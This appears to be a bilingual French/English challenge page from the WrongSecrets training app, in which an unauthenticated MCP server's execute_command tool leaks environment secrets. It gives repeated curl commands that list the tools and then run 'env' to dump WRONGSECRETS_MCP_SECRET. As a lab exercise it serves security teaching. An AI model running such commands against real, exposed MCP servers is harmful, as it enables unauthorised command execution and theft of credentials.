curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Challenge 60 ☆☆
Bienvenue dans le défi Challenge 60.
Trouvez le secret caché dans le WrongSecrets repository. Ce défi se concentre sur AI.
💡 Cherchez : AI prompts, model configurations, or chat history.
Le protocole MCP (Model Context Protocol), développé par Anthropic, est une norme ouverte permettant aux assistants IA de se connecter à des outils et des sources de données. Si le MCP permet des intégrations performantes, les serveurs MCP mal sécurisés représentent un risque de sécurité important : ils peuvent exposer des informations sensibles stockées dans des variables d’environnement à toute personne y ayant accès.
Ce défi illustre un scénario réaliste où un développeur a déployé un serveur MCP doté d’un outil execute_command. Ce type d’outil est courant sur les serveurs MCP utilisés pour donner aux assistants IA un accès shell, mais il peut être détourné par quiconque découvre ce point d’accès.
Votre objectif :
Un serveur MCP est exécuté sur un port dédié (8090) distinct de l’application principale.
**Le serveur expose un outil execute_command qui renvoie les variables d’environnement du processus
Un secret (WRONGSECRETS_MCP_SECRET) est stocké en tant que variable d’environnement dans le conteneur en cours d’exécution
Le serveur MCP ne dispose d’aucune authentification — toute personne pouvant accéder au port 8090 peut appeler ses outils
Comment interagir avec le serveur MCP :
Commencez par découvrir les outils disponibles :
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
curl -s -X POST https://www.wrongsecrets.com/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Ensuite, appelez l’outil execute_command pour récupérer les variables d’environnement et trouver le secret :
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
curl -s -X POST https://www.wrongsecrets.com/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
An insecure MCP (Model Context Protocol) server is running alongside this application on a dedicated port. It exposes an execute_command tool that leaks environment variables — including secrets.
⚠️ The MCP server is also reachable on the main port via /mcp.
Step 1 — Discover what tools the MCP server exposes:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Step 2 — Call the execute_command tool to retrieve environment variables:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
💡 Look for the WRONGSECRETS_MCP_SECRET key in the response above.